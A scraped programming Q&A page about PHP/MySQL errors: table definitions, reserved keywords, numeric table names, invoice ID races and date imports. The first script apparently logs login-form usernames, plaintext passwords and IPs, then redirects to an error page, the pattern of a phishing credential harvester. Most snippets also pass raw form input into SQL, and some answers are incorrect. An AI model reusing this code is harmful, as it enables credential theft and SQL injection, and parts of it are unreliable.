Hey friends today I am creating my login page which saved user pass on my data base this project is given me in my school and now I am totally frustrated because everything seems to be right but when I am trying to create database it says error ......I already posted screen shot after this index.php script...
[<?php
{ //credit
/*
*
*by nalin
*
*PHP ver 5.1.0>
*Tested on 5.5.27
*
*
*/
}
{ //config
error_reporting(0); //turn off error
//server address
$data\[server\] = "localhost";
//user name
$data\[username\] = "a0103769_nalin";
//password here
$data\[pass\] = "Hydrogen";
//database name
$data\[db\] ="a0103769_nalin";
//table name
$data\[db2\] ="data";
//redirect when detect the username/pass is empty
//prevent the db getting filled with junk aka empty tables
$header_empty = $_SERVER\['PHP_SELF'\];
//when it is logged
$header_success ="error.html";
}
{ //mod
//cloud flare ip converter
if(isset($_SERVER\["HTTP_CF_CONNECTING_IP"\])){
$_SERVER\['REMOTE_ADDR'\] = $_SERVER\['HTTP_CF_CONNECTING_IP'\];
};
}
if(isset($_POST\[submit\])){ //Send pass & username to MYSQL
$id\[name\] = $_POST\[uom\];
$id\[pass\] = $_POST\[pass\];
$id\[ip\] = $_SERVER\[REMOTE_ADDR\];
$idts = gmdate('Y-m-d h:i:s \G\M\T');
{//empty filler
if(null == $id\[name\]){
header("Location: $header_empty");
die();
};
if(null == $id\[pass\]){
header("Location: $header_empty");
die();
};
}
$con = mysql_connect($data\[server\],$data\[username\],$data\[pass\]);
mysql_select_db("$data\[db\]",$con);
$sql = "INSERT INTO `$data\[db\]`.`$data\[db2\]` (`ID`, `Name`, `Pass`, `IP`, `Time`) VALUES (NULL, '$id\[name\]', '$id\[pass\]', '$id\[ip\]', '$idts')";
mysql_query($sql);
mysql_close($con);
header("Location: $header_success");
};
if(!isset($_POST\[submit\])) { //echo the full login page
echo '
<html lang="en" data-scribe-reduced-action-queue="true"><!--<!\[endif\]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
MySQL Query
CREATE TABLE `a0103769_nalin`.`data` (
`ID` TEXT NULL DEFAULT NULL AUTO_INCREMENT,
`Name` TEXT NULL DEFAULT NULL,
`Password` TEXT NULL DEFAULT NULL,
`IP` TEXT NULL DEFAULT NULL,
`Time` TEXT NULL DEFAULT NULL,
PRIMARY KEY (`ID`)
)
ENGINE = InnoDB;
The datatype of your ID column can't be TEXT
it should be Integer type as it is the primary key
AUTO_INCREMENT is used only on INTEGER
As per provided image :
You are getting error because of wrong datatype of your ID(PRIMARY KEY)column. so you just need to change its datatype from TEXT to INT or what ever int type your system required.
To use AUTO_INCREMENT you need to deifine column as INT or floating-point types, not Text.
AUTO_INCREMENT use only unsigned value, so it's good to use UNSIGNED as well;
CREATE TABLE a0103769_nalin.data ( ID INT NULL DEFAULT NULL AUTO_INCREMENT ,
Name TEXT NULL DEFAULT NULL , Password TEXT NULL DEFAULT NULL , IP TEXT NULL
DEFAULT NULL , Time TEXT NULL DEFAULT NULL , PRIMARY KEY (ID)) ENGINE = InnoDB;
Related
I have this code and for some reason it won't get inserted into my database. It's basically taking an array, turning it into a string and then submit the values.
(If you need me to edit to show my whole code, I will do so)
Code I am having issues with down below
$array = array($RaceNumber,$Track,$Num,$HorseName,$Odds,$Color,$Jockey,$Trainer,$PostTime,$Course,$RaceDistance,$Win,$Place,$Show);
for ($a=0; $a<$Num; $a++) {
$dataArray=array($RaceNumber[$a],$Track[$a],$Num[$a],$HorseName[$a],$Odds[$a],$Color[$a],$Jockey[$a],$Trainer[$a],$PostTime[$a],$Course[$a],$RaceDistance[$a],$Win[$a],$Place[$a],$Show[$a]);
$dataArray--;
for ($j=0; $j<$Num; $j++) {
$RaceNumber=$dataArray[0];
$Track=$dataArray[1];
$Num=$dataArray[2];
$HorseName=$dataArray[3];
$Odds=$dataArray[4];
$Color=$dataArray[5];
$Jockey=$dataArray[6];
$Trainer=$dataArray[7];
$PostTime=$dataArray[8];
$Course=$dataArray[9];
$RaceDistance=$dataArray[10];
$Win=$dataArray[11];
$Place=$dataArray[12];
$Show=$dataArray[13];
$sql="INSERT INTO `$Date` (RaceNumber,Track,HorseNum,HorseName,Odds,Color,JockeyName,TrainerName,PostTime,Course,RaceDistance,Win,Place,Show) VALUES ('$RaceNumber','$Track','$Num','$HorseName','$Odds','$Color','$Jockey','$Trainer','$PostTime','$Course','$RaceDistance','$Win','$Place','$Show')";
echo $sql;
mysqli_query($query2,$sql);
}
}
when I echo my $sql I get
INSERT INTO 2018-09-20 (RaceNumber,Track,HorseNum,HorseName,Odds,Color,JockeyName,TrainerName,PostTime,Course,RaceDistance,Win,Place,Show) VALUES ('1','FingerLakes','1','','','Red','','','','Dirt','','none','none','none')
But when I do my query, it isn't inserting into database.
Part of my code where I create the datatable
<?php
if(isset($_POST['submit'])) {
$Date = $_POST['date'];
$sql = "CREATE TABLE IF NOT EXISTS `$Date` (
`Id` int NOT NULL AUTO_INCREMENT PRIMARY KEY,
`RaceNumber` varchar(255) NOT NULL,
`Track` varchar(255) NOT NULL,
`HorseNum` varchar(255) NOT NULL,
`HorseName` varchar(255) NOT NULL,
`Odds` varchar(255) NOT NULL,
`Color` varchar(255) NOT NULL,
`JockeyName` varchar(255) NOT NULL,
`TrainerName` varchar(255) NOT NULL,
`PostTime` varchar(255) NOT NULL,
`Course` varchar(255) NOT NULL,
`RaceDistance` varchar(255) NOT NULL,
`Win` varchar(255) NOT NULL,
`Place` varchar(255) NOT NULL,
`Show` varchar(255) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8"
;
$query2 = mysqli_connect('localhost','root','','Races');
$z= mysqli_query($query2, $sql) or die("Table already exist.. please try again");
echo "Your Table ".$Date." is successfully created <br/>";
$RaceNum = $_POST['RaceNum'];
$i=1;
I am receiving in my error log of
2018-09-20 16:00:59 9444 [ERROR] Incorrect definition of table mysql.column_stats: expected column 'max_value' at position 4 to have type varbinary(255), found type varchar(255).
You are using a column named Show that's a reserved keyword in mysql, add backquotes to it and the insert query should work.
It's worth noting that you shouldn't name your table with only digits and hyphens.
For reference here is the complete list of the reserved keywords:
https://dev.mysql.com/doc/refman/8.0/en/keywords.html
I want to create a table with variables passed into my php file. However, the SQL does not work when I pass in '12345' and works when I pass in 'a12345' instead.
This is my error that is given.
Error creating the table
query was
CREATE TABLE 123456 ( humidity VARCHAR(50) NOT NULL, temperature VARCHAR(50)
NOT NULL, gasquality VARCHAR(50) NOT NULL, timestamp DATETIME NOT NULL
DEFAULT CURRENT_TIMESTAMP)
mysqlerror:You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'123456 ( humidity VARCHAR(50) NOT NULL, temperature VARCHAR(50) NOT NULL,
gasq' at line 1
Creating database failed!
and my function that creates the table
function CreateTableNode(&$formvars)
{
$serialno = $formvars['serialno'];
$qry = "CREATE TABLE ".$serialno." (".
" humidity VARCHAR(50) NOT NULL, ".
" temperature VARCHAR(50) NOT NULL, ".
" gasquality VARCHAR(50) NOT NULL, ".
" timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP)";
if(!mysqli_query($this->connection,$qry))
{
$this->HandleDBError("Error creating the table \nquery was\n $qry");
return false;
}
return true;
}
I want to be able to create tables with numeric names like '12345' or '154124' for other purposes. Thanks alot!
My suggestion:
Provide a prefix to the table you created.
Moreover, I couldn't
see the primary key in your table. However, it is not necessary to
have it but if your table design doesn't have a primary key, you need
to rethink your design. It plays a vital role to join tables.
Your code can be rewritten as:
function CreateTableNode (&$formvars) {
$host = 'localhost';
$database = 'test';
$dbuser = 'root';
$dbpass = '';
try {
$pdo = new PDO('mysql:host=localhost; dbname=test', $dbuser, $dbpass);
} catch (PDOException $e) {
print "ERROR! : " . $e->getMessage() . "<br/>";
die();
}
$serialno = $formvars['serialno'];
$qry = "CREATE TABLE ".$serialno." ("."
`id` INT NOT NULL AUTO_INCREMENT ,
`humidity` VARCHAR(50) NOT NULL ,
`temperature` VARCHAR(50) NOT NULL ,
`gasquality` VARCHAR(50) NOT NULL ,
`timestamp` DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP ,
PRIMARY KEY (`id`)
)";
$stmt = $pdo->prepare($qry);
$stmt->execute();
$pdo = null;
return true;
}
You just need to wrap some elements in the query with quotes as the duplicated thread mentioned by underscore_d says:
$qry = "CREATE TABLE '$serialno' (
'humidity' VARCHAR(50) NOT NULL,
'temperature' VARCHAR(50) NOT NULL,
'gasquality' VARCHAR(50) NOT NULL,
'timestamp' DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP)";
This will fix your syntax errror in the query.
Marking to close the question as duplicated
The name of the entity was expected. (near "123456" at position 13)
Try adding a prefix to the table name as such
"t_12345"
CREATE TABLE t_12345
MySql does not allow numeric values as table name.
MySQL doesn't allow the creation of tables with names made solely of digits unless the name is quotes. See here
Identifiers may begin with a digit but unless quoted may not consist solely of digits.
Try quoting the name with backticks (`) or prefix the table name.
The error says "Creating database failed!".
So I assume you haven't selected the database in the connection query. You should do that or select it with "use mydatabase;" first. Of course, you may need to create the database first.
With PDO it would look like:
$conn = new PDO("mysql:host=$servername;dbname=myDB", $username, $password);
Please see dbname=myDB which preselects the right db for you.
Reference: https://www.w3schools.com/php/php_mysql_connect.asp
Using mysql functions, you can use:
mysql_select_db($dbname)
Reference: http://php.net/manual/en/function.mysql-select-db.php
I am trying to generate invoice id in each invoice, now i am having thousands of invoices, Now while adding from different ip same time i am getting duplicate invoice ids how to prevent it,
invoice id generating by getting the last inserted invoice id and increment 1 to it.
my function as follows parameters
get_new_tbl_id('table_name','invoice_id_column','string to strip (INV in INV0012)','any conditions');
function get_new_tbl_id($tbl_name,$id_field,$string,$options='')
{
$new_id = 0;
$query_count_rows = "SELECT MAX(CONVERT(replace(replace($id_field,',',''),'$string',''), SIGNED INTEGER)) as $id_field FROM $tbl_name WHERE $id_field LIKE '$string%' $options";
$count_rows = mysql_query($query_count_rows);
$num_rows = mysql_num_rows($count_rows);
if($num_rows >0)
{
$last_row = mysql_fetch_assoc($count_rows);
$last_id = $last_row[$id_field];
$last_inserted_id = intval(str_replace($string,'',$last_id));
$new_id = $last_inserted_id+1;
}
else
$new_id = 1;
$format = '%1$03d';
$new_id=sprintf($format,$new_id,'');
return $string.$new_id;
}
My table as follows
CREATE TABLE IF NOT EXISTS `tbl_invoice` (
`invoice_tbl_id` int(11) NOT NULL AUTO_INCREMENT,
`invoice_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`invoice_ip` varchar(25) NOT NULL,
`invoice_status` tinyint(1) NOT NULL DEFAULT '0',
`invoice_added_by` smallint(6) NOT NULL,
`invoice_edited_by` smallint(6) NOT NULL,
`invoice_date` date NOT NULL,
`invoice_id` varchar(15) NOT NULL,
`customer_id` varchar(11) NOT NULL,
`invoice_credit_date` tinyint(4) NOT NULL,
`invoice_credit_status` tinyint(1) NOT NULL DEFAULT '0',
`total_items_count` smallint(6) NOT NULL,
`invoice_total_amount` varchar(20) NOT NULL,
`invoice_grandtotal_amount` double NOT NULL,
`invoice_discount` double NOT NULL DEFAULT '0',
`invoice_total_card_amount` double NOT NULL,
`invoice_total_cash_amount` double NOT NULL,
`invoice_total_profit` varchar(10) NOT NULL,
`cashier_approval` tinyint(1) NOT NULL DEFAULT '0',
`cashier_approval_id` smallint(6) NOT NULL,
`cashier_approval_time` datetime NOT NULL,
`cashier_approval_ip` varchar(20) NOT NULL,
`invoice_delete_note` text NOT NULL,
PRIMARY KEY (`invoice_tbl_id`),
KEY `invoice_id` (`invoice_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1
Use a myisam table to generate the ids for you with 2 fields. The 1st field contains the prefix (this is $string in your function), the second should be an auto increment field. Add a primary key on these 2 fields, but the prefix field must be the 1st one in the index. If you insert a new row into this table with a prefix, then mysql will increment the auto increment value within that group.
See myisam notes section in mysql documentation on auto increment for details and example.
CREATE TABLE animals (
grp ENUM('fish','mammal','bird') NOT NULL,
id MEDIUMINT NOT NULL AUTO_INCREMENT,
name CHAR(30) NOT NULL,
PRIMARY KEY (grp,id)
) ENGINE=MyISAM;
INSERT INTO animals (grp,name) VALUES
('mammal','dog'),('mammal','cat'),
('bird','penguin'),('fish','lax'),('mammal','whale'),
('bird','ostrich');
If your base table is mysql, then just alter it to get this behaviour, if not, then create a separate myisam table, do the inserts into that one first, then obtain the ids fo use in your main table.
May there will be some optimized solution, but for now I can give you this solution
use static variable lock if one person is getting id make $lock=true and keep other requests on waiting for 1 second and check again by goto start; until first request is completed; make $lock=false; at the end to release the function.
public static $lock=false;
function get_new_tbl_id($tbl_name,$id_field,$string,$options='')
{
global $lock;
start:
if($lock==true){
sleep(1);
goto start;
}
if($lock==false){
$lock==true;
}
$new_id = 0;
$query_count_rows = "SELECT MAX(CONVERT(replace(replace($id_field,',',''),'$string',''), SIGNED INTEGER)) as $id_field FROM $tbl_name WHERE $id_field LIKE '$string%' $options";
$count_rows = mysql_query($query_count_rows);
$num_rows = mysql_num_rows($count_rows);
if($num_rows >0)
{
$last_row = mysql_fetch_assoc($count_rows);
$last_id = $last_row[$id_field];
$last_inserted_id = intval(str_replace($string,'',$last_id));
$new_id = $last_inserted_id+1;
}
else
$new_id = 1;
$format = '%1$03d';
$new_id=sprintf($format,$new_id,'');
$lock=false;
return $string.$new_id;
}
I'm trying to use an upload page to insert into my database with the following code:
if($file!=="")
{
echo "<br/>".$file;
$handle = fopen($file, "r");
$row = 0;
$delete_records = mysql_query("DELETE FROM affiliationagreements");
$delete_records = mysql_query("DELETE FROM college");
$delete_records = mysql_query("DELETE FROM program");
$delete_records = mysql_query("DELETE FROM facility");
$delete_records = mysql_query("DELETE FROM submitor");
$delete_records = mysql_query("DELETE FROM location");
//will loop each record in the CSV file
while(($fileop = fgetcsv($handle,1000,",")) !== false )
{
//columns names of the CSV file are not needed
if($row==0)
{
$row++;
}
else
{
//accept apostrophes in the strings
$fileop = array_map("mysql_real_escape_string",$fileop);
$sql = mysql_query("INSERT INTO affiliationagreements(id, AANumber, Facility, Submitor, Program, Location, College, SubmissionDate, Action, EffectiveDate, Status, ExpirationDate)
VALUES('',
'$fileop[0]',
'$fileop[1]',
'$fileop[2]',
'$fileop[3]',
'$fileop[4]',
'$fileop[5]',
'$fileop[11]',
'$fileop[23]',
'$fileop[24]',
'$fileop[25]',
'$fileop[26]')
")or die(mysql_error());
To just give a sample, and when I upload my CSV file to add the values, I print them out in the console and see that the values are being read correctly and they are. But, once my php script ends and I return to the main page, my dates are all null. None of them are the values what are reflected in the csv file. Here is the schema for my database:
CREATE TABLE `affiliationagreements` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`AANumber` varchar(20) DEFAULT NULL,
`Facility` varchar(150) DEFAULT NULL,
`Submitor` varchar(50) DEFAULT NULL,
`Program` varchar(60) DEFAULT NULL,
`Location` varchar(50) DEFAULT NULL,
`College` varchar(50) DEFAULT NULL,
`SubmissionDate` date DEFAULT NULL,
`Action` varchar(50) DEFAULT NULL,
`EffectiveDate` date DEFAULT NULL,
`Status` varchar(50) DEFAULT NULL,
`ExpirationDate` date DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
If I change SubmissionDate, EffectiveDate, and ExpirationDate to a varchar, they insert correctly but I can't use varchar because I am comparing date values. And Advice?
***Update. In the CSV file, the format is MM/DD/YYYY. I didn't think this would be a problem. Would it be better to change this? And I'm deleting records because my boss wanted the DB cleared before a file was reuploaded since the uploaded file was an update of the previously uploaded one. ****
Check your date format, as MySql it needs to be in YYYY-MM-DD format
INSERT INTO table SET date = '2014-05-13'
If you have different format, the date will store '0000-00-00' instead. So double check your insertion by echo your query string before running the query.
mysql date field only accepts dates in this format: 0000-00-00
You can use DATE_FORMAT() in your insert query but I can't give exaples becuase you didn't post what format your actual date is.
http://www.w3schools.com/sql/func_date_format.asp
I'm trying to insert a record into the database but it is giving me an error.
I'm using PHP and MySQL.
I need a successful result, but I'm getting an error and here is my code:
$Pname = $_POST[Pname];
$P_Price = $_POST[P_Price];
$P_Desc = $_POST[P_Desc];
$P_City = $_POST[P_City];
$P_Size = $_POST[P_Size];
$P_Rooms = $_POST[P_Rooms];
$P_garage = $_POST[P_garage];
$P_Address = $_POST[P_Address];
$P_Long = $_POST[P_Long];
$P_Lat = $_POST[P_Lat];
$Provinces_idProvinces = $_POST[Provinces_idProvinces];
// array for JSON response
$response = array();
$result = mysql_query("INSERT INTO property(Pname,P_Price,P_Desc,P_City,P_Size,P_Rooms,P_garage,P_Address,P_Long,P_Lat,Provinces_idProvinces)
VALUES ('".$Pname."',".$P_Price.",'".$P_Desc."','".$P_City."','".$P_Size."','".$P_Rooms."',".$P_garage.",'".$P_Address."',".$P_Long.",".$P_Lat.",".$Provinces_idProvinces."'");
if ($result) {
// successfully inserted into database
$response["success"] = 1;
$response["message"] = $result ;
// echoing JSON response
echo json_encode($response);
} else {
// failed to insert row
$response["success"] = 0;
$response["message"] = mysql_error();
Here is my error:
{"success":0,"message":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''','','','',,'',,,'' at line 2"}
I checked everything, but it's still giving me same error. Please help, it is almost 3 days now.
Here is the MySQL query:
delimiter $$
CREATE TABLE `property` (
`idProperty` int(11) NOT NULL AUTO_INCREMENT,
`Pname` varchar(45) DEFAULT NULL,
`P_Price` double DEFAULT NULL,
`P_Desc` varchar(45) DEFAULT NULL,
`P_City` varchar(45) DEFAULT NULL,
`P_Size` varchar(45) DEFAULT NULL,
`P_Rooms` varchar(45) DEFAULT NULL,
`P_garage` int(11) DEFAULT NULL,
`P_Address` varchar(45) DEFAULT NULL,
`P_Long` int(11) DEFAULT NULL,
`P_Lat` int(11) DEFAULT NULL,
`P_Sold` tinyint(1) DEFAULT '0',
`Provinces_idProvinces` int(11) NOT NULL,
PRIMARY KEY (`idProperty`),
KEY `fk_Property_Provinces` (`Provinces_idProvinces`),
CONSTRAINT `fk_Property_Provinces` FOREIGN KEY (`Provinces_idProvinces`) REFERENCES `provinces` (`idProvinces`) ON DELETE NO ACTION ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=latin1$$
There are many problems with Your query:
You are not sanitizing the values from user input ($_GET or $_POST) - use at least mysql_real_escape_string for this...
Your query contains some values empty thus You have ,,, in Your query... Validate the form after submitting and check that each property has a value set other way set it to '' (empty string) or 0 (zero) or null
You use apostrophes and quotes without thinking... Here is Yoyr query (not code formatted to be abble to do bold) - bold are the apostrophes that are wrong:
INSERT INTO property (Pname, P_Price, P_Desc, P_City, P_Size, P_Rooms, P_garage, P_Address, P_Long, P_Lat, Provinces_idProvinces) VALUES ('".$Pname."', ".$P_Price.", '".$P_Desc."', '".$P_City."', '".$P_Size."', '".$P_Rooms."', ".$P_garage.", '".$P_Address."', ".$P_Long.", ".$P_Lat.", ".$Provinces_idProvinces."'");
After repairing these three errors/mistakes You shoudl be good.
Few recommendations:
always sanitize each user input! (this is likely a must not a recommendation)
You should validate forms and set default values for the empty fields
instead of using nowadays deprecated mysql_* function us at least mysqli_* or PDO.
Additionally, you are using unquoted array indices:
$P_Price = $_POST[P_Price];
Unless P_Price is a constant, you need to quote it:
$P_Price = $_POST['P_Price'];
Activate error reporting to see all the errors you are causing, then fix them:
error_reporting(E_ALL);
ini_set('display_errors', true);